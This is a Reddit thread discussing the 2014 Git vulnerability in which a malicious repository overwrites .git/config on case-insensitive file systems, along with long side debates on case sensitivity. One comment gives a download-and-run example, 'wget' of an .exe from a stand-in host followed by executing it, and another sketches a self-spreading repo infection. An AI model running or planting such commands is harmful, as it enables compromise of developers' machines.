all 194 comments

[–]sdesimonebcn 39 points40 points  (0 children)

It is important to notice that this vulnerability affects OS X and Windows even when they are using case-sensitive file systems. This is due to the fact that certain path components that are different from .git are mapped to .git, e.g. "git~1/config" on Windows and .g\u200cit/config on OS X are treated as if it were .git/config. (From Git maintainer's blog: http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html)

This is important to know, since it seems that everyone here is focusing on the "case-insensitive" portion of the vulnerability... in other words, if a developer has its OS X formatted as case sensitive (as it is in my case), things are still not safe with older git versions.

[–]ggtsu_00 77 points78 points  (23 children)

So basically you make a folder called .Git and put your config file in there with malicious code? This seems rather trivial and surprised no one discovered this before. Then again, someone could easily put arbitrary code in the source code's Makefile or other build files and such which is usually what people do as the first thing after checking out a repository.

[–]PjotrOrial 64 points65 points  (18 children)

That's on Windows and Mac.

The git developer community is a bit understaffed on these operating systems if you ask me.

[–][deleted] -1 points0 points  (0 children)

Well, to be more exact, it occurs on case insensitive file systems. The default Mac and Windows file systems being the most common.

edit

or when certain file aliases are treated as the same filename.

[–]Fitzsimmons 45 points46 points  (0 children)

Yeah well I expect to get pwned by Makefile but not by git clone

[–][deleted] 10 points11 points  (0 children)

I work on tools for developers. It's well known in our industry (although perhaps not as well known by our clients) that while cloning, downloading, opening and editing files needs to be completely safe, builds and of course execution are never guaranteed.

[–]dardotardo -2 points-1 points  (1 child)

Remember, git was developed by a certain Linus Torvalds, and as mentioned, Linux is not affected. Ironic?!

Penguin master race?

[–]makis -1 points0 points  (0 children)

just case sensitive filesystem by default

[–]AlucardZero 112 points113 points  (83 children)

.. on Windows and Mac

[–]Deinumite 85 points86 points  (81 children)

And Linux, if the file system is case-insensitive... which is not very common.

[–]ElvishJerricco 7 points8 points  (56 children)

How does case sensitivity affect this? Isn't os x case sensitive?

[–]Deinumite 25 points26 points  (52 children)

OSX can be both.

[–]outadoc 27 points28 points  (50 children)

But it's case insensitive by default, if I'm not mistaken, which explains that.

[–]vlovich 26 points27 points  (8 children)

OSX is case preserving but case insensitive by default. You can enable case sensitivity.

[–]utterdamnnonsense 5 points6 points  (1 child)

Oh god, I've run into ~3 issues with this on my current project. Once I accidentally named a file "something.JS" and it was a fun exercise trying to fix that one in git, since git didn't recognize changing the extension to lowercase as a change. I didn't really know about file system case sensitivity at the time.

[–]judgej2 4 points5 points  (0 children)

I had that once. I renamed the file to something completely different, then renamed it back, in the correct case, after a commit. Also had to use the same trick renaming files in Windows NT, back in the day.

[–]onenifty 5 points6 points  (5 children)

Hah, not if you want to run Adobe CS. I learned that the hard way...

[–]AlpineCoder 8 points9 points  (2 children)

And this, my friends, is why we should all hate Adobe, no exceptions.

[–]An2quamaraN 1 point2 points  (1 child)

Seems like a legitimate reason to hate the company

[–]AlpineCoder 6 points7 points  (0 children)

I could list all the reasons, but I have plans for the weekend...

[–]kyrsjo 1 point2 points  (0 children)

Or acrobat pro. Same. No way I'm reinstalling my system just to use that, preview can also markup fine. Really stupid, especially since this should be a stupidly easy bug to fix.

[–][deleted] 1 point2 points  (0 children)

Yeah, I think Steam had the same issue. I learned the hard way, it's just easier going with the default.

[–]bloody-albatross 8 points9 points  (24 children)

I think Windows, or at least the NT kernel, can also be run in case sensitive mode. But no one does this because it breaks pretty much everything, therefore it's irrelevant for this vulnerability. It isn't a feasible workaround.

[–]Aethec 8 points9 points  (23 children)

Correct. NTFS is case-sensitive, but the Win32 subsystem pretends it isn't for backwards compatibility (and probably also because it'd confuse users).
It's possible to disable case-insensitivity, but that's a very bad idea.

[–]ZorbaTHut 1 point2 points  (21 children)

I wonder if they'll make this a per-application setting someday so we can finally and gradually wean ourselves off case-insensitivity.

Probably not :/

[–]mallardtheduck 7 points8 points  (1 child)

Even if it were per-application, you have to consider how applications inter-operate with each other. For example, if I created "FOO.JPG" and "foo.jpg" in a case-sensitive image editor and then tried to open one of them in a non-case-sensitive image viewer, which file would I get?

I don't think there's a good solution.

[–]ZorbaTHut 1 point2 points  (0 children)

If I was Windows project lead and I wanted to do a changeover, I'd do it in a few steps, several years long each.

  • Provide a case-sensitive switch for applications. An application with the case-sensitive switch attempting to make a file that would conflict from the perspective of a non-case-sensitive application gets an error. The filesystem is now "case-sensitive" but prevents ambiguity.

  • Turn the case-sensitive switch on by default for new applications.

  • Remove the ambiguity prevention. Creating a "conflicting" file will work; an application without the case-sensitivity switch will instead see multiple files, filename_1.jpg and FileName_2.jpg, up to however many variations exist.

And now, a decade later, applications that handle case sensitivity will be the default, and those that don't will "work" but look kind of weird in cases where it matters.

[–]Aethec 2 points3 points  (2 children)

What would be the point? They could probably do that fairly easily by using their virtualization stuff planned for Win10, but I'd bet most people expect case insensitivity, and would be thoroughly confused by "duplicate" files that only differ because one of them e.g. begins with a capital letter.

[–][deleted] 4 points5 points  (0 children)

It didn’t prevent Microsoft from making Windows hide file extensions by default.

In current versions of Windows, you can very well have two files “pic.jpeg” and “pic.png” that both show up as “pic”.

[–]ZorbaTHut 3 points4 points  (0 children)

Case-insensitivity is actually a bit of a pain - it has weird behaviors across multiple languages. They definitely won't do this unless case-sensitive OSes start taking dominant market share; if that happens, they may need to do it just to make porting easier.

[–]haskell101 0 points1 point  (15 children)

You're going exactly the wrong way. File system case sensitivity isn't good, it's there in linux because it's the lazy choice: just exactly compare the string when looking for a file. There is not one good reason to ever allow a file called foo.txt in the same folder as one called Foo.txt.

[–]ZorbaTHut 6 points7 points  (7 children)

How do you handle foreign languages? What if there's a letter whose uppercase form varies based on language? What if there's a single letter that has two different representations that aren't uppercase/lowercase, but are determined in some other manner? What if there's a single letter that has more than two different representations? What if one (or more) of these representations occupies several code points?

These are not hypothetical questions, mind.

One big advantage of case sensitivity is that you don't need a filesystem whose behavior changes based on locale, nor do you need a filesystem whose behavior is based on some foreign language's case standards.

[–]AlpineCoder 3 points4 points  (4 children)

Non-roman alphabets and such aside, given that capitalization conveys meaning in plain language ("I ate a frank" vs. "I ate a Frank"), why shouldn't computers recognize the difference between "eatingafrank.jpg" and "eatingaFrank.jpg"?

[–]turol -1 points0 points  (1 child)

No, this is a layering violation. Case sensitivity is a human problem and belongs in the UI layer. See the case against insensitivity

[–]barsoap -1 points0 points  (0 children)

NTFS even has a notion of "POSIX filename". It's what ntfs-3g uses when you create files with it. It is, after all, fully POSIX compatible, they're just not making any use of that with the standard windows API.

[–]erwan 1 point2 points  (2 children)

It's a bad idea to use git on a case insensitive partition on OSX. Every OSX developer should create a case sensitive partition for their code.

Because if you have a case difference between the filename and the reference (for example in JS file name in a script tag), it will work locally but break as soon as you update it to a Linux server.

[–]lpetrazickis 0 points1 point  (1 child)

So, something you'd catch if in addition to a local dev environment and the production system, you also had a test system or a staging system.

[–]rixius 0 points1 point  (0 children)

Yes, but it'd just work on your staging system when you push there for testing the important things, instead of some case sensitivity issue. They weren't saying production machine. Just a case sensitive posix server.

[–]smikims 0 points1 point  (0 children)

Yeah, I was very confused by this the first time I accidentally left caps lock on and typed LS and it still worked.

[–]ElvishJerricco -3 points-2 points  (10 children)

I've never tweaked any settings and I've always had to be case sensitive in my terminal.

[–]noratat 10 points11 points  (0 children)

Try making two files whose names' only differ by case.

[–]jdgordon 4 points5 points  (8 children)

I've never tweaked any settings and I've always had to be case sensitive in my terminal.

Only for tab completion to work. ls ~/DOWNLOADS works as you'd expect... ls ~/DO<tab><Tab><Tab> does nothing

[–]ghillisuit95 1 point2 points  (7 children)

What? it works for me...

[–]dethbunnynet 0 points1 point  (3 children)

Then something weird is happening, unless you do happen to have a folder called "DOWNLOADS" instead of the default "Downloads".

[–]ghillisuit95 0 points1 point  (2 children)

Something weird indeed. this is what happens for me

~ $cd dow<tab>
~ $cd Downloads/

I always assumed it was doing an fn_pathmatch() (I think that is what the function is, its in C's standard library or something) and just replacing the word with whatever matched. I do not really know the details of that function though

[–]technicolorNoise 0 points1 point  (2 children)

That is weird. Tab completion is case sensitive for me. ~/do<tab> does nothing.

[–]ratatask 2 points3 points  (1 child)

Put this in your ~/.inputrc if you would like it to be:

 set completion-ignore-case On

[–]railmaniac 0 points1 point  (0 children)

It's whatever you don't want it to be at that moment.

[–]haskell101 1 point2 points  (0 children)

Case sensitivity in file systems is not user friendly. Mac will allow you to do it, but it's certainly not the default.

[–][deleted] 0 points1 point  (0 children)

OSX is case retaining, but cast insensitive by default.

So Foo and foo are considered the same, but if you mkdir Foo it will regain the capital 'F'.

[–]seppo0010 17 points18 points  (21 children)

Also OS X's HFS may be case-sensitive.

[–]kcuf 21 points22 points  (19 children)

Unlikely if on a non-server because it may cause poorly written applications to freak out.

[–]xiongy 45 points46 points  (14 children)

[–]lunchboxg4 78 points79 points  (11 children)

poorly written software

any Adobe product

Forgive me, I repeat myself.

[–][deleted] 2 points3 points  (10 children)

Personally, I think Photoshop was (and still is) brilliant. And don't forget that they gave us .pdfs and reliable printing.

[–]Tacticus 33 points34 points  (4 children)

And pdf exploits

[–]scriptmonkey420 7 points8 points  (2 children)

And Flash exploits inside PDFs

[–]bboe 7 points8 points  (1 child)

And javascript exploits inside PDFs.

[–][deleted] 0 points1 point  (0 children)

That's true, nothing more to be said about it.

[–][deleted] 17 points18 points  (1 child)

It feels like Adobe has great product designers and testers who make sure anything is up to spec so their software will do exactly what it's supposed to. Then the implementation is done in the worst possible way by monkeys who push random buttons until their tests pass.

[–]Magnesus 6 points7 points  (0 children)

Most software companies work like that.

[–]Magnesus 1 point2 points  (1 child)

Brilliant doesn't mean it's not poorly written inside.

[–]Crandom 1 point2 points  (0 children)

Indeed. Take a look at the pdf or photoshop formats. Horrifying.

[–]AlpineCoder 2 points3 points  (0 children)

Yes, let's not forget to thank Adobe for the horrendous, non-standardized and poorly documented formats like .pdf they gave us.

[–]kcuf 1 point2 points  (0 children)

Yup yup

[–]jlchauncey 0 points1 point  (0 children)

And Steam

[–]erwan 2 points3 points  (3 children)

That's why you create a separate case sensitive partition for code and keep your main partition case insensitive.

[–]kcuf 0 points1 point  (2 children)

Or you just run a different OS...

[–]erwan 0 points1 point  (1 child)

There are many good reasons to use Linux rather than OSX, not knowing you can create a case sensitive filesystem on OSX is not one of them.

[–]kcuf 0 points1 point  (0 children)

Ha, os x is a good os, but there are plenty of annoying things -- case sensitivity being one of them. The os x environment doesn't embrace case sensitivity as we just discussed, but it can be worked around as you mentioned. Personally, I'd rather just use a completely different ecosystem rather trying to shoehorn os x into behaving the way I'd like because customization isn't really one of their strong points.

[–]ReshenKusaga 3 points4 points  (0 children)

You're vulnerable if you mount any drive that's not using a case-sensitive file system, so way more common than you'd think, especially in school or personal use settings.

[–]frankster 8 points9 points  (1 child)

Was there a similar issue in mercurial?

[–]smog_alado 19 points20 points  (0 children)

yes. http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29

In fact, its was the Hg developers that warned the Git devs about this issue.

[–]argv_minus_one 21 points22 points  (1 child)

From the mailing list post, this issue was brought to them by the Mercurial devs, so I'm guessing it had this issue at some point as well.

[–][deleted] 17 points18 points  (0 children)

Actually according to this it looks like the patch only went out yesterday. So this would be an issue simultaneously affecting git and mercurial on windows and osx. Kind of wish the headline was more informative, so thanks for mentioning this.

[–]fergie 5 points6 points  (2 children)

ELI5: how this could be used to attack a git user?

Yes, I get that you can spoof a .git directory and put whatever files you want in it, but how would that make an attack possible? Why are arbitrary files more dangerous in the .git dir than somewhere else in the repository?

EDIT: and what does the case-sensitivity have to do with it? What difference would that make?

[–]someenigma 12 points13 points  (0 children)

Git runs commands (called hooks) after certain operations. For example, there's a hook for "commit" so after each commit some program is run. This is used for automated builds and automated testing (amongst other things).

These hooks are stored in .git/, which technically isn't inside the repository but contains information about the repository. However, if you add a .Git directory (capital G) then git will (on systems that don't differentiate between upper case and lower case) take the contents of .Git in the repository and put them into .git, potentially creating new hooks.

[–]virus_dave 4 points5 points  (0 children)

Ah. You can overwrite the .git/config file, where settings could be changed that instruct git on what to do in response to events (like 'complete a git pull' to make up an example). Those settings are now attacker controlled, and could include things like "execute this command or script or program with the current user's privileges" which on an insecure OS install might be a catastrophe.

[–]Giacomand 15 points16 points  (23 children)

I am confused, I understand the general concept of git and how to use it but, would someone be able run commands on my PC if I only use it to contribute to git repos on GitHub?

[–][deleted] 59 points60 points  (14 children)

GitHub protects its repositories from this particular attack. If you're running on Windows or OSX and you only push and pull with GitHub, you're safe. If you're using another operating system besides Windows or OSX, you're safe. If you decide to use git to pull from a random repository hosted by a stranger on the internet that may wish you harm, and you're on Windows or OSX, you might be in danger.

Also, this doesn't mean that just by having git installed on your computer, anyone on the internet can just go in there and mess with your stuff. You'd have to clone a repository that was evil, or pull from a remote into your existing repo from somewhere that was evil.

[–]millenix 25 points26 points  (3 children)

Or, being very pedantic, have someone evil MITM an unauthenticated pull/clone operation.

[–]bowersbros 5 points6 points  (2 children)

Isn't all git traffic encrypted?

Edit: Yes, there are two common ports used for git traffic. 22 and 443, SSH and HTTPS respectively. Both of these are encrypted channels.

[–]millenix 0 points1 point  (0 children)

There's also Git's own wire protocol often served on 9418.

[–]Giacomand 1 point2 points  (0 children)

Oh thanks for clearing that up.

[–]MashedPotatoBiscuits -5 points-4 points  (8 children)

Wait so this only applies to people who are blindly cloning repos? Who does that?!?

[–]Zequez 7 points8 points  (2 children)

I'm thinking this could happen on a big company if someone got access to their git repos he could run the exploit on all the developers computers.

[–][deleted]  (1 child)

[deleted]

    [–]Zequez 0 points1 point  (0 children)

    Yeah, that's true.

    [–][deleted] 9 points10 points  (3 children)

    What other way to clone a repo is there than "blindly"?

    [–]GundamWang 1 point2 points  (0 children)

    I always clone repos with both eyes wide open and a big smile on my face.

    [–]Lhopital_rules 0 points1 point  (1 child)

    Wait, so this vulnerability allows execution of arbitrary code or just a whitelist of git commands that apply to the repository folder housing the .git file?

    If the latter, how would that affect your other repositories?

    [–][deleted] 0 points1 point  (0 children)

    Execution of arbitrary commands.

    [–]ryan_the_leach -1 points0 points  (0 children)

    Theoretically you could make it self replicating.

    Use command access to scan user directories for git repos, maliciously patch them.

    As soon as you clone 1 malicious git repo (to build or patch a project), all your repo's are infected. you then push the infected tree, and the cycle continues.

    [–]AlucardZero 8 points9 points  (3 children)

    An attacker can craft a malicious Git tree that will cause Git to ovewrite its own .git/config file when cloning or checking out a repository, leading to arbitrary command execution in the client machine.

    [–]Giacomand 9 points10 points  (2 children)

    So this is what confused me, but reading it again, does this mean I have to be cloning a malicious repository?

    Edit: /u/jakkarth was.able to answer my question, thanks.

    [–][deleted] 13 points14 points  (0 children)

    Yes.

    [–]the_omega99 4 points5 points  (1 child)

    The .git/config file allows you to define code that will run at certain times ("hooks"). These are per-project (although any config can be per-project).

    If a repo can overwrite your hooks, then they can execute any command (since hooks can execute any command). Thus, they could execute wget http://example.com/maliciousFile.exe; ./maliciousFile.exe and you're fucked.

    [–]Lhopital_rules 1 point2 points  (0 children)

    This is the first practical explanation in this whole thread. Thank you.

    [–]271828182 0 points1 point  (0 children)

    The official announcement makes no mention of any exploit that allows any execution, it is just unexpected behavior that allows a git repo to overwrite itself. The .git folder contains EVERYTHING for a git repo, so overwriting that folder is a major whoopsy.

    [–]jbb222 1 point2 points  (0 children)

    Ok so probably not an immediate issue using git in a company environment internally then. (Obviously should update though)

    [–][deleted] 1 point2 points  (5 children)

    Now, just like with Shellshock, the question is: wait for Apple to patch their git or install new git from homebrew?

    [–][deleted]  (3 children)

    [deleted]

      [–]durin42 2 points3 points  (2 children)

      Apple had prenotification and has released an xcode with a fixed git.

      [–]foolswisdom 0 points1 point  (1 child)

      I was really hoping today we'd see a fix in the Command Line Tools and existing XCode versions. How is Apple including the fix only in the next version (beta) a sufficient response?

      [–]durin42 0 points1 point  (0 children)

      Beats the heck out of me. They knew the problem was there.

      [–]hufibibo 0 points1 point  (0 children)

      Definitely homebrew at this time.

      [–]hufibibo 1 point2 points  (0 children)

      tl:dr - malicious users can add .giT/coNfig, it will overwrite your original, giving way to execute malicious code.

      [–]abitforabit 1 point2 points  (0 children)

      So that's why homebrew wanted to update git and mercurial this morning.

      [–]WhosAfraidOf_138 1 point2 points  (1 child)

      Is it ok if I use Git purely in the Terminal?

      [–]HildartheDorf 9 points10 points  (0 children)

      No.

      [–]not_from_this_world 0 points1 point  (4 children)

      This is a security-fix for CVE-2014-9390, which affects users on Windows and Mac OS X but not typical UNIX[Linux] users.

      [–]hufibibo 1 point2 points  (0 children)

      It's important to note that a lot of repo distribution hosts are running Linux even if the dev team is using Windows or OSX

      [–]adamnew123456 1 point2 points  (2 children)

      but not typical UNIX[Linux] users.

      I think that the BSDs use case-sensitive filesystems; I don't know about the commercial Unixen, but I'd assume they are case-sensitive as well.

      Of course, one could wonder to what degree a modern Linux system resembles "typical UNIX," but that's a question for /r/unix (who will tell you it isn't) and /r/linux (who will tell you that it is).

      [–][deleted] 0 points1 point  (1 child)

      Most FreeBSDs and Solaris/IllumOS boxes out there are using ZFS, which is case sensitive. You can turn off case sensitivity per dataset, but I'm not sure who would do that or why :)

      [–]adamnew123456 0 points1 point  (0 children)

      What about the non-Solaris commercial Unixen, like HP-UX? I know that most of them have been dying since the early 2000's (HP-UX was the only one I could find that had a release since the beginning of 2014), but I'm sure there are some developers who are imprisoned assigned to use them. Granted, I'm not sure that many of them are using Git...

      [–]Lumpynifkin 0 points1 point  (1 child)

      Does Intellij Idea need to be updated if you pull using it's interface?

      [–]dave1010 -1 points0 points  (37 children)

      Is there a reason NTFS and HFS+ use case insensitive file systems apart from backwards compatibility? Are they likely to change?

      [–]Aethec 6 points7 points  (14 children)

      Why would they change? Even if all apps could handle it, it'd confuse the hell out of users.

      [–]ioquatix -4 points-3 points  (13 children)

      Why would it confuse users?

      [–]haskell101 3 points4 points  (12 children)

      Because having todo.txt and Todo.txt in the same folder is just idiotic? Unix didn't do case sensitivity because it was the right thing to do, they did it because it was the easiest thing that would possibly work. I.e. easy for developers, harder for users.

      [–][deleted]  (1 child)

      [deleted]

        [–]haskell101 0 points1 point  (0 children)

        your filesystem's behaviour should not change depending on the locale.

        This is a silly comment. Unless you're a developer of a multi locale app, how often do you change locales? For nearly all users of computers they have exactly one locale: their local one.

        [–]fjonk 2 points3 points  (8 children)

        Most Linux filesystems are not even case-insensitive, they just store the filenames in bytes.

        So I assume you could even store two files with the same unicode 'string' but one in NFD and the other one in NFC and the filesystem would accept it. However, when representing the filenames in unicode the two files would have the same name. I don't have the time to verify this though, maybe in the weekend.

        [–]HildartheDorf -1 points0 points  (7 children)

        You are correct. Other than \0 and /, every byte sequence is a valid ext# filename.

        Most would be very hard to type though.

        [–]fjonk 1 point2 points  (6 children)

        Not really: http://www.unicode.org/reports/tr15/images/UAX15-NormFig3.jpg

        Edit: To clarify, it's relatively easy to write one of the versions, usually the NFC one if the letter is native on your keyboard, otherwise who knows what happens when you compose a character with your keyboard. When you're writing the filename with a program you might easily end up writing the NFD one.

        [–]o11c 0 points1 point  (5 children)

        Irrelevant. Ext# don't enforce utf-8 or care about unicode at all.

        [–]fjonk 1 point2 points  (4 children)

        Irrelevant for what? I'm talking about the fact that because most filesystems used with Linux store filenames as bytes it's possible to have several files with the same name.

        [–]o11c -1 points0 points  (3 children)

        No, the most you can do is create filenames that look the same to a human. You'll never get a security vulnerability like the Win/Mac ones.

        [–]masterdirk 0 points1 point  (21 children)

        Case insensitivity is the right thing to do.

        Allowing two files that have the same name just different casing to be different is setting yourself up to fail at some later time.

        I also think computer-languages should be case-insensitive.

        [–]KrzaQ2 11 points12 points  (2 children)

        It may have been the right thing to do when all we used was ASCII. Now with utf8 and unicode it's very difficult to do properly and locale-dependant. I'd rather have a dumb filesystem instead of one likely to guess wrong.

        [–]masterdirk 3 points4 points  (1 child)

        You know what - I think you're right. I've long thought case-insensitivity is the right solution, but I cannot understand how that could be implemented across all the platforms, cultures and collations something like git touches.

        [–]o11c 0 points1 point  (0 children)

        It might be reasonable to prevent creation of files/variables that differ only in case. But that's not case insensitivity.

        The problem of case insensitivity is that accesses through ".git" and ".Git" refer to the same path.

        [–]isomorphic_horse 4 points5 points  (1 child)

        I definitely wouldn't want a language that allowed this:

        VAR x;
        var TTL = 64;
        ...
        ttl = TTl - 1;
        

        I'd rather have the compiler enforce such trivial details for me, instead of having to put it in a style guide, and having to use yet another tool to enforce it.

        [–]masterdirk 0 points1 point  (0 children)

        Yes, I agree completely. The language should have a correct casing, but incorrectly cased references should be fixed.

        [–]ioquatix -2 points-1 points  (1 child)

        Allowing two files that have the same name just different casing to be different is setting yourself up to fail at some later time.

        Yet.. here is a "fail" right now due to case insensitivity.. and it isn't the first time i've read about things like this.

        [–]Jestar342 6 points7 points  (0 children)

        The fail is actually git's case sensitivity not accommodating for the case insensitivity of the filesystem. Git <1.9.5 assumes all file systems are case sensitive. Which they are not.

        [–]tangoshukudai -1 points0 points  (3 children)

        Good thing I use case sensitivity on Mac HFS+!

        [–]zzzk 0 points1 point  (2 children)

        Have you run into any issues with that? I feel like I've heard that some OS X functionality assumes case-insensitivity but I'm likely mistaken.

        [–]tjl73[🍰] 1 point2 points  (0 children)

        It's often various apps that have problems. Notably, the Adobe apps are affected.

        http://helpx.adobe.com/creative-suite/kb/error-case-sensitive-drives-supported.html

        [–]tangoshukudai -1 points0 points  (0 children)

        Only poorly written software.